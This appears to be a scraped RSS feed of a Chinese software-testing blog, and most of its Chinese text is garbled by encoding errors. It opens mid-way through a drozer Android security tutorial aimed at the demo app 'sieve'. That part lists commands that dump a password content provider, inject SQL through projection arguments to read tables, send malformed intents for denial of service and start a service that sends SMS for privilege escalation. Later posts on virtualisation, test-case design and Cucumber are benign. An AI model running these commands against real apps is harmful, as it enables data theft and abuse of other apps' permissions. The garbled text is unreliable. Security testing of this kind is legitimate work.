#ffffff;">  åQ?åQ‰Content ProvidersåQˆæ•°æ®æ³„éœÔŒ¼‰</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  先获取所有可以访问的UriåQ?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  run scanner.provider.finduris -a com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  获取各个Uri的数据:</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  run app.provider.query</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  查询到数据说明存在漏‹z?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  åQ?åQ‰Content ProvidersåQ?a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">SQL</strong></u></a>注入åQ?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  报错则说明存在SQL注入ã€?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  列出所有表åQ?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  获取某个表(如KeyåQ‰ä¸­çš„æ•°æ®ï¼š</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  åQ?åQ‰åŒæ—¶æ£€‹¹‹SQL注入和目录遍åŽ?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  run scanner.provider.injection -a com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  run scanner.provider.traversal -a com.mwr.example.sieve<br /><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  <strong style="word-break: break-all; line-height: normal !important;">6 intent¾l„äšg触发åQˆæ‹’¾læœåŠ¡ã€æƒé™æå‡ï¼‰</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  利用intent对组件的触发一般有两类漏洞åQŒä¸€¾cÀL˜¯æ‹’绝服务åQŒä¸€¾cÈš„æƒé™æå‡ã€‚æ‹’¾læœåŠ¡å±å®Ïx€§æ¯”较低åQŒæ›´å¤šçš„只是影响应用服务质量åQ›è€Œæƒé™æå‡å°†ä½¿å¾—没有该权限的应用可以通过intent触发拥有该权限的应用åQŒä»Žè€Œå¸®åŠ©å…¶å®Œæˆ­‘Šæƒè¡ŒäØ“ã€?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  1.查看暴露的广播组件信息:</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  run app.broadcast.info -a com.package.name  获取broadcast receivers信息</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  run app.broadcast.send --component 包名 --action android.intent.action.XXX</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  2.ž®è¯•拒绝服务æ”Õd‡»‹‚€‹¹‹ï¼Œå‘广播组件发送不完整intentåQˆç©ºaction或空extrasåQ‰ï¼š</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  run app.broadcast.send 通过intent发送broadcast receiver</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  (1)   ½Iºaction</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  run app.broadcast.send --component 包名 ReceiverName</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  run app.broadcast.send --component 包名 ReceiverName</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  (2)   ½Iºextras</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  run app.broadcast.send --action android.intent.action.XXX</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  3.ž®è¯•权限提升</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  权限提升其实和拒¾læœåŠ¡å¾ˆ¾cÖM¼¼åQŒåªä¸è¿‡ç›®çš„变成构造更为完整、更能满­‘³ç¨‹åºé€»è¾‘çš„intent。由于activity一般多于用户交互有养I¼Œæ‰€ä»¥åŸº 于intent的权限提升更多针对broadcast receiverå’Œservice。与drozerç›¸å…³çš„æƒé™æå‡å·¥å…øP¼Œå¯ä»¥å‚考IntentFuzzeråQŒå…¶¾l“合了drozer以及hook技术,采用 feedback½{–ç•¥˜q›è¡Œfuzzing。以下仅仅列举drozer发送intent的命令:</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  åQ?åQ‰èŽ·å–service详情</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  run app.service.info -a com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  不ä‹É用drozer启动service</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  am startservice –n 包名/serviceå?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  åQ?åQ‰æƒé™æå?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  run app.service.start --action com.test.vulnerability.SEND_SMS --extra string dest 11111 --extra string text 1111 --extra string OP SEND_SMS</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"> <strong style="word-break: break-all; line-height: normal !important;"> 7.æ–‡äšg操作</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  列出指定文äšg路径里全局可写/可读的文ä»?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  run scanner.misc.writablefiles --privileged /data/data/com.sina.weibo</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  run scanner.misc.readablefiles --privileged /data/data/com.sina.weibo</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  run app.broadcast.send --component 包名 --action android.intent.action.XXX</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"> <strong style="word-break: break-all; line-height: normal !important;"> 8.其它模块</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  shell.start 在设备上开启一个交互shell</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  tools.file.upload / tools.file.download 上传/下蝲文äšg到设å¤?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">  tools.setup.busybox / tools.setup.minimalsu 安装可用的二˜q›åˆ¶æ–‡äšg</div></div><img src ="http://www.aygfsteel.com/qileilove/aggbug/423597.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/qileilove/" target="_blank">™åºå…¶è‡ªç„¶EVO</a> 2015-03-18 22:06 <a href="http://www.aygfsteel.com/qileilove/archive/2015/03/18/423597.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>在服务器虚拟化架构中有哪些技术功能和益处http://www.aygfsteel.com/qileilove/archive/2015/03/18/423595.html™åºå…¶è‡ªç„¶EVO™åºå…¶è‡ªç„¶EVOWed, 18 Mar 2015 14:03:00 GMThttp://www.aygfsteel.com/qileilove/archive/2015/03/18/423595.htmlhttp://www.aygfsteel.com/qileilove/comments/423595.htmlhttp://www.aygfsteel.com/qileilove/archive/2015/03/18/423595.html#Feedback1http://www.aygfsteel.com/qileilove/comments/commentRss/423595.htmlhttp://www.aygfsteel.com/qileilove/services/trackbacks/423595.html关于服务器虚拟化的概念,业界有不同的定义åQŒä½†å…¶æ ¸å¿ƒæ˜¯ä¸€è‡´çš„åQŒå³å®ƒæ˜¯ä¸€¿Uæ–¹æ³•,能够在整合多个应用服务的同时åQŒé€šè¿‡åŒºåˆ†åº”用服务的优先次序将服务器资源分配给最需要它们的工作负蝲来简化管理和提高效率ã€?strong style="word-break: break-all; line-height: normal !important;">其主要功能包括以下四个方面:
  集成整合功能。虚拟化服务器主要是ç”Þq‰©ç†æœåŠ¡å™¨å’Œè™šæ‹ŸåŒ–½E‹åºæž„成的,通过把一台物理服务器划分为多个虚拟机åQŒæˆ–è€…æŠŠè‹¥å¹²ä¸ªåˆ†æ•£çš„ç‰©ç†æœåŠ¡å™¨è™šæ‹ŸäØ“ä¸€ä¸ªæ•´ä½“é€»è¾‘æœåŠ¡å™¨ï¼Œä»Žè€Œå°†å¤šä¸ªæ“ä½œ¾pȝ»Ÿå’Œåº”用服务整合到强大的虚拟化架构上ã€?/div>
  动态迁¿UÕdŠŸèƒ½ã€‚è¿™é‡Œæ‰€è¯´çš„åŠ¨æ€è¿¿UÖM¸»è¦æ˜¯æŒ‡V2V(虚拟机到虚拟机的˜qç§»)技术。具体来è®ÔŒ¼Œå½“某一个服务器因故障停机时åQŒå…¶æ‰¿è²çš„虚拟机可以自动切换到另一台虚拟服务器åQŒè€Œåœ¨æ•´ä¸ª˜q‡ç¨‹ä¸­åº”用服务不会中断,实现¾pȝ»Ÿé›¶å®•机在¾U¿è¿¿U…R€?/div>
  资源分配功能。虚拟化架构技术中引入了动态资源调度技术,¾pȝ»Ÿž®†æ‰€æœ‰è™šæ‹ŸæœåŠ¡å™¨ä½œäØ“ä¸€ä¸ªæ•´ä½“èµ„æºç»Ÿä¸€˜q›è¡Œ½Ž¡ç†åQŒåƈ按实际需求自动进行动态资源调配,在保证系¾lŸç¨³å®šè¿è¡Œçš„前提下,实现资源利用最大化ã€?/div>
  强大的管理控制界面。通过可视化界面实时监控物理服务器以及各虚拟机的运行情况,实现对全部虚拟资源的½Ž¡ç†ã€ç»´æŠ¤åŠéƒ¨çÖv½{‰æ“ä½œã€?/div>
  服务器虚拟化的益�/strong>
  采用服务器虚拟化技术的益处主要表现在以下几个方面�/strong>
  节省采购费用。通过虚拟化技术对应用服务器进行整合,可以大幅¾~©å‡ä¼ä¸šåœ¨é‡‡è´­çŽ¯èŠ‚çš„å¼€æ”¯ï¼Œåœ¨ç¡¬ä»¶çŽ¯èŠ‚å¯ä»¥äØ“ä¼ä¸šèŠ‚çœ34%ï½?0%的采购成本ã€?/div>
  同时åQŒè¿˜å¯ä»¥èŠ‚çœè½¯äšg采购费用。èÊY件许可成本是企业不可忽视的重要支出。而随着微èÊY、红帽等软äšg巨头的加入,虚拟化架构技术在软äšg成本上的优势也逐渐得以体现ã€?/div>
  降低¾pȝ»Ÿ˜qè¡Œ¾l´æŠ¤æˆæœ¬ã€‚由于虚拟化在整合服务器的同旉™‡‡ç”¨äº†æ›´äØ“å‡ø™‰²çš„ç®¡ç†å·¥å…øP¼Œå‡å°‘了管理维护äh员在¾|‘络、线路、èÊY¼‹¬äšg¾l´æŠ¤æ–šw¢çš„工作量åQŒä¿¡æ¯éƒ¨é—¨å¾—以从传统的维护管理工作中解放出来åQŒå°†æ›´å¤šçš„æ—¶é—´å’Œ¾_‘ÖŠ›ç”¨äºŽæŽ¨åŠ¨åˆ›æ–°å·¥ä½œå’Œä¸šåŠ¡å¢žé•¿ç­‰‹zÕdЍåQŒè¿™ä¹Ÿäؓ企业带来了利益ã€?/div>
  通过虚拟化技术可以减ž®‘物理服务器的数量,˜q™å°±æ„å‘³ç€ä¼ä¸šæœºæˆ¿è€—电量、散热量的降低,同时˜q˜äؓ企业节省了空调、机戉K…å¥—设备的攚w€ å‡¾U§è´¹ç”¨ã€?/div>
  提高资源利用率。保障业务系¾lŸçš„快速部¾|²æ˜¯ä¿¡æ¯åŒ–工作的一™åšw‡è¦æŒ‡æ ‡ï¼Œè€Œä¼ ¾lŸæ¨¡å¼ä¸­æœåŠ¡å™¨çš„é‡‡è´­å®‰è£…å‘¨æœŸè¾ƒé•¿åQŒä¸€å®šç¨‹åº¦ä¸Šé™åˆ¶äº†ç³»¾lŸéƒ¨¾|²æ•ˆçŽ‡ã€‚åˆ©ç”¨è™šæ‹ŸåŒ–æŠ€æœ¯ï¼Œå¯ä»¥å¿«é€Ÿæ­å»ø™™šæ‹Ÿç³»¾lŸåã^収ͼŒå¤§å¹…¾~©å‡éƒ¨çÖv½{¹å¤‡æ—‰™—´åQŒæé«˜å·¥ä½œæ•ˆçއã€?/div>
  ç”׃ºŽè™šæ‹ŸåŒ–服务器å…ähœ‰åŠ¨æ€èµ„æºåˆ†é…åŠŸèƒ½ï¼Œå› æ­¤å½“ä¸€å°è™šæ‹Ÿæœºçš„åº”ç”¨è´Ÿè½½è¶‹äºŽé¥±å’Œæ—¶åQŒç³»¾lŸä¼šæ ÒŽ®ä¹‹å‰å®šä¹‰çš„分配规则自动进行资源调配。根据大部分虚拟化技术厂商提供的数据指标来看åQŒé€šè¿‡è™šæ‹ŸåŒ–整合服务器后,资源òq›_‡åˆ©ç”¨çŽ‡å¯ä»¥ä»Ž5%ï½?5%提高åˆ?0%ï½?0%ã€?/div>
  提高¾pȝ»Ÿçš„安全性。传¾lŸæœåС噍¼‹¬äšg¾l´æŠ¤é€šå¸¸éœ€è¦æ•°å¤©çš„½{¹å¤‡æœŸå’Œæ•°å°æ—¶çš„¾l´æŠ¤½H—口期。而在虚拟化架构技术环境下åQŒæœåС噍˜qç§»åªéœ€è¦å‡ ¿U’钟的时间。由于迁¿U»è¿‡½E‹ä¸­æœåŠ¡æ²¡æœ‰ä¸­æ–­åQŒç®¡ç†å‘˜æ— é¡»ç”Œ™¯·¾pȝ»ŸåœæœºåQŒåœ¨é™ä½Ž½Ž¡ç†¾l´æŠ¤å·¥ä½œé‡çš„同时åQŒæé«˜ç³»¾lŸè¿è¡Œè¿ž¾l­æ€§ã€?/div>
  目前虚拟化主‹¹æŠ€æœ¯åŽ‚å•†å‡åœ¨å…¶è™šæ‹ŸåŒ–åã^åîC¸­å¼•入数据快照以及虚拟存储½{‰å®‰å…¨æœºåˆÓž¼Œå› æ­¤åœ¨æ•°æ®å®‰å…¨ç­‰¾U§å’Œ¾pȝ»Ÿå®¹ç¾èƒ½åŠ›æ–šw¢åQŒè¾ƒåŽŸæœ‰å•æœº˜qè¡Œæ¨¡å¼æœ‰äº†è¾ƒå¤§æé«˜ã€?br />
目前 我司正在应用aws ¼‹®å®žå¾ˆä¸é”™ï¼ŒèŠ‚çœæˆæœ¬ 服务½E›_®šåQŒæ¯”什么阿里云 å¼ÞZº†ä¸çŸ¥é“多ž®‘å€?/div>

]]>阅读《测试用例指南》笔è®?/title><link>http://www.aygfsteel.com/qileilove/archive/2015/03/18/423594.html</link><dc:creator>™åºå…¶è‡ªç„¶EVO</dc:creator><author>™åºå…¶è‡ªç„¶EVO</author><pubDate>Wed, 18 Mar 2015 14:00:00 GMT</pubDate><guid>http://www.aygfsteel.com/qileilove/archive/2015/03/18/423594.html</guid><wfw:comment>http://www.aygfsteel.com/qileilove/comments/423594.html</wfw:comment><comments>http://www.aygfsteel.com/qileilove/archive/2015/03/18/423594.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/qileilove/comments/commentRss/423594.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/qileilove/services/trackbacks/423594.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><strong style="word-break: break-all; line-height: normal !important;">1.‹¹‹è¯•用例 åQšåˆ†æœ‰åŸºæœ¬æµå’Œå¤‡é€‰æµã€?/strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><strong style="word-break: break-all; line-height: normal !important;">  2.要先¼‹®å®š<a target="_self" style="word-break: break-all; color: #202859;"><u style="word-break: break-all;"><strong style="word-break: break-all;"></strong></u></a><u style="word-break: break-all;"><strong style="word-break: break-all;"><a target="_self" style="word-break: break-all; color: #202859; text-decoration: none;"><u style="word-break: break-all;"><strong style="word-break: break-all;">‹¹‹è¯•</strong></u></a>用例</strong></u>描述åQŒå†åœ¨æµ‹è¯•用ä¾?实施矩阵中确定相应的‹¹‹è¯•用例数据ã€?/strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><strong style="word-break: break-all; line-height: normal !important;">  3.从补充规¾U¦ä¸­ç”Ÿæˆ‹¹‹è¯•用例</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  åQ?åQ‰äØ“<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">性能‹¹‹è¯•</strong></u></a>生成‹¹‹è¯•用例</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  åQ?åQ‰äؓ安全æ€?讉K—®æŽ§åˆ¶‹¹‹è¯•生成‹¹‹è¯•用例</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  关键åQšå…ˆæŒ‡å®šæ‰§è¡Œç”¨ä¾‹çš„主è§?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  åQ?åQ‰äؓ配置‹¹‹è¯•生成‹¹‹è¯•用例</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">ã€€ã€€ä¸»è¦æ˜¯äØ“äº†æ ¸å®žæµ‹è¯•ç›®æ ‡åœ¨ä¸åŒçš„é…¾|®æƒ…况下åQˆå¦‚不同的OSåQŒBrowseråQŒCPU速度½{‰ï¼‰æ˜¯å¦èƒ½æ­£å¸?åœ?nbsp;<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">工作</strong></u></a>或执行ã€?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  针对½W¬ä¸ªå…³é”®é…ç½®åQŒæ¯ä¸ªå¯èƒ½æœ‰é—®é¢˜çš„配¾|®éƒ½è‡›_°‘应该有一个测试用例ã€?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  åQ?åQ‰äؓ安装‹¹‹è¯•生成‹¹‹è¯•用例</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  a.需要对以下各种安装情况设计‹¹‹è¯•用例åQ?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  分发介质åQˆå¦‚¼‚ç›˜åQŒCD-ROM和文件服务器åQ?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  首次安装</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  完全安装</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  自定义安è£?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  升çñ”安装</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  b.‹¹‹è¯•目标应包括所有构件的安装</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  客户机,中间层,服务å™?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  åQ?åQ‰äؓ其他非功能性测试生成测试用ä¾?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  如操作测试,å¯ÒŽ€§èƒ½ç“‰™¢ˆåQŒç³»¾lŸå®¹é‡æˆ–‹¹‹è¯•目标的强度承受能力进行调查的‹¹‹è¯•用例</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  <strong style="word-break: break-all; line-height: normal !important;">4.åœ?a target="_self" style="word-break: break-all; color: #202859;"><u style="word-break: break-all;"><strong style="word-break: break-all;">白盒‹¹‹è¯•</strong></u></a>å?a target="_self" style="word-break: break-all; color: #202859;"><u style="word-break: break-all;"><strong style="word-break: break-all;">黑盒‹¹‹è¯•</strong></u></a>的同旉™ƒ½åº”该˜q›è¡Œå¯é æ€§æµ‹è¯•ã€?/strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><strong style="word-break: break-all; line-height: normal !important;">  5.ä¸ÞZñ”品验收测试生成测试用ä¾?/strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><strong style="word-break: break-all; line-height: normal !important;">  6.为回归测试编制测试用ä¾?/strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  a.回归‹¹‹è¯•是比较同一‹¹‹è¯•目标的两个版本或版本åQŒåƈž®†å°†å·®å¼‚¼‹®å®šä¸ºæ½œåœ¨çš„¾~ºé™·ã€?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  b.ä¸ÞZ‹É‹¹‹è¯•用例发挥回归‹¹‹è¯•和复用的价å€û|¼ŒåŒæ—¶ž®†ç»´æŠ¤æˆæœ¬å‡è‡Ïxœ€ä½Žï¼Œåº”:</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  ¼‹®ä¿‹¹‹è¯•用例只确定关键的数据元素åQˆåˆ›å»?支持被测试的条äšg支持的测上试用例åQ?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  ¼‹®ä¿æ¯ä¸ª‹¹‹è¯•用例都说明或代表一个唯一的输入集或事件序列,其结果是独特的测试目标行ä¸?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  消除多余或等效的‹¹‹è¯•用例</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">  ž®†å…·æœ‰ç›¸åŒçš„‹¹‹è¯•目标初始状态和‹¹‹è¯•数据状态的‹¹‹è¯•用例¾l„合在一èµ?/div><img src ="http://www.aygfsteel.com/qileilove/aggbug/423594.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/qileilove/" target="_blank">™åºå…¶è‡ªç„¶EVO</a> 2015-03-18 22:00 <a href="http://www.aygfsteel.com/qileilove/archive/2015/03/18/423594.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>è¡ŒäØ“é©±åŠ¨å¼€å? Cucumber的目录结构和执行˜q‡ç¨‹http://www.aygfsteel.com/qileilove/archive/2014/12/28/421891.html™åºå…¶è‡ªç„¶EVO™åºå…¶è‡ªç„¶EVOSat, 27 Dec 2014 17:29:00 GMThttp://www.aygfsteel.com/qileilove/archive/2014/12/28/421891.htmlhttp://www.aygfsteel.com/qileilove/comments/421891.htmlhttp://www.aygfsteel.com/qileilove/archive/2014/12/28/421891.html#Feedback0http://www.aygfsteel.com/qileilove/comments/commentRss/421891.htmlhttp://www.aygfsteel.com/qileilove/services/trackbacks/421891.htmlè¡ŒäØ“é©±åŠ¨å¼€å? Cucumber的目录结构和执行˜q‡ç¨‹

      Cucumber是Ruby世界的BDD框架åQŒå¼€å‘äh员主要与两类文äšg打交刎ͼŒFeatureæ–‡äšg和相应的Stepæ–‡äšg。Featureæ–‡äšg是以feature为后¾~€åçš„æ–‡äšgåQŒä»¥Given-When-Then的方式描˜qîCº†¾pȝ»Ÿçš„场æ™?scenarios)è¡ŒäØ“åQ›Stepæ–‡äšg为普通的Rubyæ–‡äšgåQŒFeatureæ–‡äšg中的每个Given/When/Then步骤在Stepæ–‡äšg中都有对应的Ruby执行代码åQŒä¸¤¾cÀL–‡ä»‰™€šè¿‡æ­£åˆ™è¡¨è¾¾å¼ç›¸å…Œ™”。笔者在用Cucumber+Watir做回归测试时对Cucumber工程的目录结构执行过½E‹è¿›è¡Œäº†ç ”ç©¶ã€?/p>

安装好Cucumber后,如果在终端直接执行cucumber命ä×oåQŒå¾—åˆîC»¥ä¸‹è¾“出:

输出¾l“果表明åQšcucumber期待当前目录下存在名为features的子目录。徏好featuresæ–‡äšg夹后åQŒé‡æ–°æ‰§è¡Œcucumber命ä×oåQŒè¾“出如下:

Cucumber˜qè¡ŒæˆåŠŸåQŒä½†ç”׃ºŽfeaturesæ–‡äšg夹下没有ä»ÖM½•内容åQŒæ•…得到上述输出¾l“æžœã€?/p>

¾|‘上大多数关于Cucumber的教½E‹éƒ½å»ø™®®é‡‡ç”¨ä»¥ä¸‹ç›®å½•¾l“æž„åQŒæ‰€æœ‰çš„æ–‡äšgåQˆå¤¹åQ‰éƒ½ä½äºŽfeaturesæ–‡äšg夹下ã€?/p>

